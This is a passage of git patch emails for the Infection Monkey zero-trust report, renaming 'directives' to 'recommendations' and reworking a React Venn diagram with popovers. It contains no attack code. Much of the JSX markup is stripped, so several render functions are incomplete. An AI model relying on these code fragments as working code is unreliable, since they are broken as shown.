    + ); + } + } +} + +SinglePillarRecommendationsStatus.propTypes = { + recommendationsStatus: PropTypes.array, + pillar: PropTypes.string, +}; From bb1ee6ff14740e23520bfba9b5c0fb9eaf9b9830 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 28 Aug 2019 10:35:47 +0300 Subject: [PATCH 165/276] Refactored directives to recommendations --- monkey/common/data/zero_trust_consts.py | 70 +++++++++---------- .../cc/models/zero_trust/finding.py | 2 +- .../cc/resources/reporting/report.py | 6 +- monkey/monkey_island/cc/server_config.json | 2 +- .../reporting/test_zero_trust_service.py | 18 ++--- .../services/reporting/zero_trust_service.py | 28 ++++---- .../components/pages/ZeroTrustReportPage.js | 14 ++-- .../zerotrust/RecommendationsStatusTable.js | 6 +- .../SinglePillarRecommendationsStatus.js | 2 +- 9 files changed, 74 insertions(+), 74 deletions(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 99b4f2a2c..62d44b554 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -2,8 +2,8 @@ This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and in creating findings. -This file contains static mappings between zero trust components such as: pillars, directives, tests, statuses. Some of -the mappings are computed when this module is loaded. +This file contains static mappings between zero trust components such as: pillars, recommendations, tests, statuses. +Some of the mappings are computed when this module is loaded. """ AUTOMATION_ORCHESTRATION = u"Automation & Orchestration" @@ -39,22 +39,22 @@ TESTS = ( TEST_DATA_ENDPOINT_ELASTIC ) -DIRECTIVE_DATA_TRANSIT = u"data_transit" -DIRECTIVE_ENDPOINT_SECURITY = u"endpoint_security" -DIRECTIVE_USER_BEHAVIOUR = u"user_behaviour" -DIRECTIVE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" -DIRECTIVE_SEGMENTATION = u"segmentation" -DIRECTIVES = { - DIRECTIVE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", - DIRECTIVE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", - DIRECTIVE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", - DIRECTIVE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", - DIRECTIVE_DATA_TRANSIT: u"Secure data at transit by encrypting it." +RECOMMENDATION_DATA_TRANSIT = u"data_transit" +RECOMMENDATION_ENDPOINT_SECURITY = u"endpoint_security" +RECOMMENDATION_USER_BEHAVIOUR = u"user_behaviour" +RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" +RECOMMENDATION_SEGMENTATION = u"segmentation" +RECOMMENDATIONS = { + RECOMMENDATION_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", + RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", + RECOMMENDATION_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", + RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", + RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it." } POSSIBLE_STATUSES_KEY = u"possible_statuses" PILLARS_KEY = u"pillars" -DIRECTIVE_KEY = u"directive_key" +RECOMMENDATION_KEY = u"recommendation_key" FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation" TEST_EXPLANATION_KEY = u"explanation" TESTS_MAP = { @@ -64,7 +64,7 @@ TESTS_MAP = { STATUS_CONCLUSIVE: "Monkey performed cross-segment communication. Check firewall rules and logs.", STATUS_POSITIVE: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." }, - DIRECTIVE_KEY: DIRECTIVE_SEGMENTATION, + RECOMMENDATION_KEY: RECOMMENDATION_SEGMENTATION, PILLARS_KEY: [NETWORKS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_POSITIVE, STATUS_CONCLUSIVE] }, @@ -73,7 +73,7 @@ TESTS_MAP = { FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_INCONCLUSIVE: "Monkey performed malicious actions in the network. Check SOC logs and alerts." }, - DIRECTIVE_KEY: DIRECTIVE_ANALYZE_NETWORK_TRAFFIC, + RECOMMENDATION_KEY: RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE] }, @@ -83,7 +83,7 @@ TESTS_MAP = { STATUS_CONCLUSIVE: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", STATUS_POSITIVE: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." }, - DIRECTIVE_KEY: DIRECTIVE_ENDPOINT_SECURITY, + RECOMMENDATION_KEY: RECOMMENDATION_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] }, @@ -93,7 +93,7 @@ TESTS_MAP = { STATUS_CONCLUSIVE: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", STATUS_POSITIVE: "Monkey didn't manage to exploit an endpoint." }, - DIRECTIVE_KEY: DIRECTIVE_ENDPOINT_SECURITY, + RECOMMENDATION_KEY: RECOMMENDATION_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_INCONCLUSIVE] }, @@ -102,7 +102,7 @@ TESTS_MAP = { FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_INCONCLUSIVE: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software." }, - DIRECTIVE_KEY: DIRECTIVE_USER_BEHAVIOUR, + RECOMMENDATION_KEY: RECOMMENDATION_USER_BEHAVIOUR, PILLARS_KEY: [PEOPLE, NETWORKS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE] }, @@ -112,7 +112,7 @@ TESTS_MAP = { STATUS_CONCLUSIVE: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", STATUS_POSITIVE: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." }, - DIRECTIVE_KEY: DIRECTIVE_DATA_TRANSIT, + RECOMMENDATION_KEY: RECOMMENDATION_DATA_TRANSIT, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] }, @@ -122,7 +122,7 @@ TESTS_MAP = { STATUS_CONCLUSIVE: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", STATUS_POSITIVE: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." }, - DIRECTIVE_KEY: DIRECTIVE_DATA_TRANSIT, + RECOMMENDATION_KEY: RECOMMENDATION_DATA_TRANSIT, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] }, @@ -143,15 +143,15 @@ PILLARS_TO_TESTS = { AUTOMATION_ORCHESTRATION: [] } -DIRECTIVES_TO_TESTS = {} +RECOMMENDATIONS_TO_TESTS = {} -DIRECTIVES_TO_PILLARS = {} +RECOMMENDATIONS_TO_PILLARS = {} def populate_mappings(): populate_pillars_to_tests() - populate_directives_to_tests() - populate_directives_to_pillars() + populate_recommendations_to_tests() + populate_recommendations_to_pillars() def populate_pillars_to_tests(): @@ -161,17 +161,17 @@ def populate_pillars_to_tests(): PILLARS_TO_TESTS[pillar].append(test) -def populate_directives_to_tests(): - for single_directive in DIRECTIVES: - DIRECTIVES_TO_TESTS[single_directive] = [] +def populate_recommendations_to_tests(): + for single_recommendation in RECOMMENDATIONS: + RECOMMENDATIONS_TO_TESTS[single_recommendation] = [] for test, test_info in TESTS_MAP.items(): - DIRECTIVES_TO_TESTS[test_info[DIRECTIVE_KEY]].append(test) + RECOMMENDATIONS_TO_TESTS[test_info[RECOMMENDATION_KEY]].append(test) -def populate_directives_to_pillars(): - for directive, directive_tests in DIRECTIVES_TO_TESTS.items(): - directive_pillars = set() - for test in directive_tests: +def populate_recommendations_to_pillars(): + for recommendation, recommendation_tests in RECOMMENDATIONS_TO_TESTS.items(): + recommendations_pillars = set() + for test in recommendation_tests: for pillar in TESTS_MAP[test][PILLARS_KEY]: - directive_pillars.add(pillar) - DIRECTIVES_TO_PILLARS[directive] = directive_pillars + recommendations_pillars.add(pillar) + RECOMMENDATIONS_TO_PILLARS[recommendation] = recommendations_pillars diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 5454ad9e1..382f7e5fb 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -14,7 +14,7 @@ from monkey_island.cc.models.zero_trust.event import Event class Finding(Document): """ This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a - specific directive of zero trust is upheld or broken. + specific recommendation of zero trust is upheld or broken. Findings might be Negative ❌ diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index fa2973759..db2f40518 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -14,7 +14,7 @@ REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" -REPORT_DATA_DIRECTIVES_STATUS = "directives" +REPORT_DATA_RECOMMENDATIONS_STATUS = "recommendations" __author__ = ["itay.mizeretz", "shay.nehmad"] @@ -33,8 +33,8 @@ class Report(flask_restful.Resource): "grades": ZeroTrustService.get_pillars_grades() } ) - elif report_data == REPORT_DATA_DIRECTIVES_STATUS: - return jsonify(ZeroTrustService.get_directives_status()) + elif report_data == REPORT_DATA_RECOMMENDATIONS_STATUS: + return jsonify(ZeroTrustService.get_recommendations_status()) elif report_data == REPORT_DATA_FINDINGS: return jsonify(ZeroTrustService.get_all_findings()) diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 420f1b303..7bf106194 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,4 +1,4 @@ { - "server_config": "standard", + "server_config": "testing", "deployment": "develop" } diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index 30a1a08fe..790f757dd 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -98,7 +98,7 @@ class TestZeroTrustService(IslandTestCase): self.assertEquals(result, expected) - def test_get_directives_status(self): + def test_get_recommendations_status(self): self.fail_if_not_testing_env() self.clean_finding_db() @@ -108,7 +108,7 @@ class TestZeroTrustService(IslandTestCase): AUTOMATION_ORCHESTRATION: [], DATA: [ { - "directive": DIRECTIVES[DIRECTIVE_DATA_TRANSIT], + "recommendation": RECOMMENDATIONS[RECOMMENDATION_DATA_TRANSIT], "status": STATUS_CONCLUSIVE, "tests": [ { @@ -124,7 +124,7 @@ class TestZeroTrustService(IslandTestCase): ], DEVICES: [ { - "directive": DIRECTIVES[DIRECTIVE_ENDPOINT_SECURITY], + "recommendation": RECOMMENDATIONS[RECOMMENDATION_ENDPOINT_SECURITY], "status": STATUS_CONCLUSIVE, "tests": [ { @@ -140,7 +140,7 @@ class TestZeroTrustService(IslandTestCase): ], NETWORKS: [ { - "directive": DIRECTIVES[DIRECTIVE_SEGMENTATION], + "recommendation": RECOMMENDATIONS[RECOMMENDATION_SEGMENTATION], "status": STATUS_UNEXECUTED, "tests": [ { @@ -150,7 +150,7 @@ class TestZeroTrustService(IslandTestCase): ] }, { - "directive": DIRECTIVES[DIRECTIVE_USER_BEHAVIOUR], + "recommendation": RECOMMENDATIONS[RECOMMENDATION_USER_BEHAVIOUR], "status": STATUS_INCONCLUSIVE, "tests": [ { @@ -160,7 +160,7 @@ class TestZeroTrustService(IslandTestCase): ] }, { - "directive": DIRECTIVES[DIRECTIVE_ANALYZE_NETWORK_TRAFFIC], + "recommendation": RECOMMENDATIONS[RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC], "status": STATUS_UNEXECUTED, "tests": [ { @@ -172,7 +172,7 @@ class TestZeroTrustService(IslandTestCase): ], PEOPLE: [ { - "directive": DIRECTIVES[DIRECTIVE_USER_BEHAVIOUR], + "recommendation": RECOMMENDATIONS[RECOMMENDATION_USER_BEHAVIOUR], "status": STATUS_INCONCLUSIVE, "tests": [ { @@ -184,7 +184,7 @@ class TestZeroTrustService(IslandTestCase): ], "Visibility & Analytics": [ { - "directive": DIRECTIVES[DIRECTIVE_ANALYZE_NETWORK_TRAFFIC], + "recommendation": RECOMMENDATIONS[RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC], "status": STATUS_UNEXECUTED, "tests": [ { @@ -197,7 +197,7 @@ class TestZeroTrustService(IslandTestCase): "Workloads": [] } - self.assertEquals(ZeroTrustService.get_directives_status(), expected) + self.assertEquals(ZeroTrustService.get_recommendations_status(), expected) def test_get_pillars_to_statuses(self): self.fail_if_not_testing_env() diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index 8039d6e16..2db61cdc5 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -39,30 +39,30 @@ class ZeroTrustService(object): return pillar_grade @staticmethod - def get_directives_status(): - all_directive_statuses = {} + def get_recommendations_status(): + all_recommendations_statuses = {} # init with empty lists for pillar in PILLARS: - all_directive_statuses[pillar] = [] + all_recommendations_statuses[pillar] = [] - for directive, directive_tests in DIRECTIVES_TO_TESTS.items(): - for pillar in DIRECTIVES_TO_PILLARS[directive]: - all_directive_statuses[pillar].append( + for recommendation, recommendation_tests in RECOMMENDATIONS_TO_TESTS.items(): + for pillar in RECOMMENDATIONS_TO_PILLARS[recommendation]: + all_recommendations_statuses[pillar].append( { - "directive": DIRECTIVES[directive], - "tests": ZeroTrustService.__get_tests_status(directive_tests), - "status": ZeroTrustService.__get_directive_status(directive_tests) + "recommendation": RECOMMENDATIONS[recommendation], + "tests": ZeroTrustService.__get_tests_status(recommendation_tests), + "status": ZeroTrustService.__get_recommendation_status(recommendation_tests) } ) - return all_directive_statuses + return all_recommendations_statuses @staticmethod - def __get_directive_status(directive_tests): + def __get_recommendation_status(recommendation_tests): worst_status = STATUS_UNEXECUTED all_statuses = set() - for test in directive_tests: + for test in recommendation_tests: all_statuses |= set(Finding.objects(test=test).distinct("status")) for status in all_statuses: @@ -72,9 +72,9 @@ class ZeroTrustService(object): return worst_status @staticmethod - def __get_tests_status(directive_tests): + def __get_tests_status(recommendation_tests): results = [] - for test in directive_tests: + for test in recommendation_tests: test_findings = Finding.objects(test=test) results.append( { diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 5c6b24614..6b598357f 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -68,7 +68,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { } else { content =
    {this.generateOverviewSection()} - {this.generateDirectivesSection()} + {this.generateRecommendationsSection()} {this.generateFindingsSection()}
    ; } @@ -102,7 +102,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { ); } - generateDirectivesSection() { + generateRecommendationsSection() { return (

    Recommendations

    @@ -110,11 +110,11 @@ class ZeroTrustReportPageComponent extends AuthComponent { to understand how the monkey tested your adherence to that recommendation.

    { - Object.keys(this.state.directives).map((pillar) => + Object.keys(this.state.recommendations).map((pillar) => ) } @@ -152,7 +152,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { } stillLoadingDataFromServer() { - return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.directives === "undefined"; + return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.recommendations === "undefined"; } getZeroTrustReportFromServer() { @@ -164,11 +164,11 @@ class ZeroTrustReportPageComponent extends AuthComponent { findings: res }); }); - this.authFetch('/api/report/zero_trust/directives') + this.authFetch('/api/report/zero_trust/recommendations') .then(res => res.json()) .then(res => { this.setState({ - directives: res + recommendations: res }); }); this.authFetch('/api/report/zero_trust/pillars') diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js index 67891da64..e6a488a4f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js @@ -15,7 +15,7 @@ const columns = [ }, maxWidth: 80 }, - { Header: 'Recommendation', accessor: 'directive', + { Header: 'Recommendation', accessor: 'recommendation', style: {'whiteSpace': 'unset'} // This enables word wrap }, { Header: 'Tests', id: 'tests', @@ -66,10 +66,10 @@ class TestsStatus extends AuthComponent { export class RecommendationsStatusTable extends AuthComponent { render() { - return ; + return ; } } export default RecommendationsStatusTable; -RecommendationsStatusTable.propTypes = {directivesStatus: PropTypes.array}; +RecommendationsStatusTable.propTypes = {recommendationsStatus: PropTypes.array}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js index cd2ce6420..4b437b837 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js @@ -22,7 +22,7 @@ export default class SinglePillarRecommendationsStatus extends AuthComponent { - + From 9538c3f0e6c29342c4eb4e426ee7f8b4f06abbc2 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 28 Aug 2019 10:51:52 +0300 Subject: [PATCH 166/276] Updated the VennDiagram --- .../zerotrust/venn-components/ArcNode.js | 36 +++++---- .../zerotrust/venn-components/CircularNode.js | 48 ++++++------ .../zerotrust/venn-components/Tooltip.js | 43 ----------- .../zerotrust/venn-components/Utility.js | 6 -- .../zerotrust/venn-components/VennDiagram.js | 76 ++++++++----------- 5 files changed, 78 insertions(+), 131 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Tooltip.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js index 95d86db2f..1b4343045 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js @@ -1,5 +1,6 @@ import React from 'react' import PropTypes from 'prop-types'; +import {Popover, OverlayTrigger} from 'react-bootstrap'; import * as d3 from 'd3' class ArcNode extends React.Component { @@ -10,23 +11,28 @@ class ArcNode extends React.Component { let id = prefix + 'Node_' + index; return ( - - {data.tooltip}}> + + - - - {data.label} - - - + /> + + + {data.label} + + + + ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js index 43ef529f3..a5cbc6698 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js @@ -1,36 +1,36 @@ import React from 'react' +import PillarLabel from "../PillarLabel"; +import {Popover, OverlayTrigger} from 'react-bootstrap'; import PropTypes from 'prop-types'; class CircularNode extends React.Component { render() { let {prefix, index, data} = this.props; - let tspans = data.label.split("|").map((d_, i_) => { - let halfTextHeight = data.fontStyle.size * data.label.split("|").length / 2; - let key = 'vennDiagramCircularNode' + index + '_Tspan' + i_; - - return ( - {d_} - ); - }); - let translate = 'translate(' + data.cx + ',' + data.cy + ')'; - return ( - - - - {tspans} - - + {data.tooltip}}> + + + + + + + ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Tooltip.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Tooltip.js deleted file mode 100644 index e103af3c3..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Tooltip.js +++ /dev/null @@ -1,43 +0,0 @@ -import React from 'react' -import PropTypes from 'prop-types'; - -class Tooltip extends React.Component { - - render() { - const {prefix, bcolor, top, left, display, html} = this.props; - - const style = { - backgroundColor: bcolor, - border: '1px solid #FFFFFF', - borderRadius: '2px', - fontSize: 10, - padding: 8, - display, - opacity: 0.9, - position: 'fixed', - top, - left, - pointerEvents: 'none' - }; - - return ( - -
    - {html.split('\n').map((i_, key_) => { - return
    {i_}
    ; - })} -
    - ); - } -} - -Tooltip.propTypes = { - prefix: PropTypes.string, - bcolor: PropTypes.string, - top: PropTypes.number, - left: PropTypes.number, - display: PropTypes.string, - html: PropTypes.string -}; - -export default Tooltip; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js index 230e277f6..fa9309506 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js @@ -1,5 +1,4 @@ export class TypographicUtilities { - static removeAmpersand(string_) { return string_.replace(' & ', 'And'); } @@ -7,9 +6,4 @@ export class TypographicUtilities { static removeBrokenBar(string_) { return string_.replace(/\|/g, ' '); } - - static setTitle(string_) { - return string_.charAt(0).toUpperCase() + string_.substr(1).toLowerCase(); - } - } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index 25e57c2dd..6985607a0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -1,6 +1,5 @@ import React from 'react' import PropTypes from 'prop-types' -import Tooltip from './Tooltip' import CircularNode from './CircularNode' import ArcNode from './ArcNode' import {TypographicUtilities} from './Utility.js' @@ -14,7 +13,6 @@ class VennDiagram extends React.Component { this.width = this.height = 512; - this.colors = ['#777777', '#D9534F', '#F0AD4E', '#5CB85C']; this.prefix = 'vennDiagram'; this.suffices = ['', '|tests are|conclusive', '|tests were|inconclusive', '|tests|performed']; this.fontStyles = [{size: Math.max(9, this.width / 32), color: 'white'}, { @@ -28,19 +26,27 @@ class VennDiagram extends React.Component { this.width2By7 = 2 * this.width / 7; this.width1By11 = this.width / 11; this.width1By28 = this.width / 28; + this.arcNodesGap = 4; this.toggle = false; this.layout = { - Data: {cx: 0, cy: 0, r: this.thirdWidth - this.offset * 2, offset: {x: 0, y: 0}}, - People: {cx: -this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: this.width1By11, y: 0}}, - Networks: {cx: this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: -this.width1By11, y: 0}}, - Devices: {cx: 0, cy: this.width2By7, r: this.sixthWidth, offset: {x: 0, y: -this.width1By11}}, - Workloads: {cx: 0, cy: -this.width2By7, r: this.sixthWidth, offset: {x: 0, y: this.width1By11}}, - VisibilityAndAnalytics: {inner: this.thirdWidth - this.width1By28, outer: this.thirdWidth}, + Data: {cx: 0, cy: 0, r: this.sixthWidth, offset: {x: 0, y: 0}, popover: 'top'}, + People: {cx: -this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: this.width1By11, y: 0}, popover: 'right'}, + Networks: {cx: this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: -this.width1By11, y: 0}, popover: 'left'}, + Devices: {cx: 0, cy: this.width2By7, r: this.sixthWidth, offset: {x: 0, y: -this.width1By11}, popover: 'top'}, + Workloads: { + cx: 0, + cy: -this.width2By7, + r: this.sixthWidth, + offset: {x: 0, y: this.width1By11}, + popover: 'bottom' + }, + VisibilityAndAnalytics: {inner: this.thirdWidth - this.width1By28, outer: this.thirdWidth, popover: 'left'}, AutomationAndOrchestration: { - inner: this.thirdWidth - this.width1By28 * 2, - outer: this.thirdWidth - this.width1By28 + inner: this.thirdWidth - this.width1By28 * 2 - this.arcNodesGap, + outer: this.thirdWidth - this.width1By28 - this.arcNodesGap, + popover: 'right' } }; @@ -65,37 +71,36 @@ class VennDiagram extends React.Component { this.rules = [ { - id: 'Rule #1', f: function (d_) { + id: 'Rule #1', status: 'Unexecuted', hex: '#777777', f: function (d_) { return d_['Conclusive'] + d_['Inconclusive'] + d_['Positive'] === 0; } }, { - id: 'Rule #2', f: function (d_) { + id: 'Rule #2', status: 'Conclusive', hex: '#D9534F', f: function (d_) { return d_['Conclusive'] > 0; } }, { - id: 'Rule #3', f: function (d_) { + id: 'Rule #3', status: 'Inconclusive', hex: '#F0AD4E', f: function (d_) { return d_['Conclusive'] === 0 && d_['Inconclusive'] > 0; } }, { - id: 'Rule #4', f: function (d_) { + id: 'Rule #4', status: 'Positive', hex: '#5CB85C', f: function (d_) { return d_['Positive'] + d_['Unexecuted'] >= 2 && d_['Positive'] * d_['Unexecuted'] > 0; } } ]; - this._onScroll = this._onScroll.bind(this); } componentDidMount() { this.parseData(); - window.addEventListener('scroll', this._onScroll); } _onMouseMove(e) { + let self = this; if (!this.toggle) { @@ -108,16 +113,12 @@ class VennDiagram extends React.Component { }); if (e.target.id.includes('Node')) { - html = e.target.dataset.tooltip; - this.divElement.style.cursor = 'pointer'; - hidden = 'block'; + e.target.setAttribute('opacity', 0.95); - bcolor = e.target.getAttribute('fill'); // Set highest z-index e.target.parentNode.parentNode.appendChild(e.target.parentNode); } else { - this.divElement.style.cursor = 'default'; // Return z indices to default Object.keys(this.layout).forEach(function (d_, i_) { @@ -125,25 +126,9 @@ class VennDiagram extends React.Component { }) } - this.setState({ - target: e, - tooltip: { - target: e.target, - bcolor: bcolor, - top: e.clientY + 8, - left: e.clientX + 8, - display: hidden, - html: html - } - }); } } - _onScroll(e) { - this.divElement.style.cursor = 'default'; - this.setState({target: null, tooltip: {target: null, bcolor: 'none', top: 0, left: 0, display: 'none', html: ''}}); - } - _onClick(e) { this.toggle = this.state.tooltip.target === e.target; @@ -152,6 +137,7 @@ class VennDiagram extends React.Component { } parseData() { + let self = this; let data = []; const omit = (prop, {[prop]: _, ...rest}) => rest; @@ -159,9 +145,8 @@ class VennDiagram extends React.Component { this.props.pillarsGrades.forEach((d_, i_) => { let params = omit('pillar', d_); - let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_] || 0), 0); let key = TypographicUtilities.removeAmpersand(d_.pillar); - let html = self.buildTooltipHtmlContent(d_); + let html = self.buildTooltipHtmlContent(params); let rule = null; for (let j = 0; j < self.rules.length; j++) { @@ -181,7 +166,13 @@ class VennDiagram extends React.Component { } buildTooltipHtmlContent(object_) { - return Object.keys(object_).reduce((out_, key_) => out_ + TypographicUtilities.setTitle(key_) + ': ' + object_[key_] + '\n', ''); + + var out = []; + Object.keys(object_).forEach(function (d_) { + out.push([d_ + ': ' + object_[d_],
    ]); + }); + return out; + } setLayoutElement(rule_, key_, html_, d_) { @@ -195,7 +186,8 @@ class VennDiagram extends React.Component { this.layout[key_].fontStyle = this.fontStyles[1]; } - this.layout[key_].hex = this.colors[rule_]; + this.layout[key_].hex = this.rules[rule_].hex; + this.layout[key_].status = this.rules[rule_].status; this.layout[key_].label = d_.pillar + this.suffices[rule_]; this.layout[key_].node = d_; this.layout[key_].tooltip = html_; @@ -220,7 +212,6 @@ class VennDiagram extends React.Component { ); } else { d_.label = TypographicUtilities.removeBrokenBar(d_.label); - return ( {nodes} -
    ) } From 04005b14d7c548a963b043c80b3e7e44d539ff13 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 28 Aug 2019 11:04:50 +0300 Subject: [PATCH 167/276] Fixed style name errors --- .../report-components/zerotrust/FindingsTable.js | 2 +- .../report-components/zerotrust/ReportLegend.js | 2 +- .../zerotrust/SinglePillarRecommendationsStatus.js | 2 +- .../zerotrust/venn-components/VennDiagram.js | 10 ++-------- 4 files changed, 5 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 6d43f3cda..353689b86 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -13,7 +13,7 @@ const columns = [ const pillarLabels = pillars.map((pillar) => ); - return
    {pillarLabels}
    ; + return
    {pillarLabels}
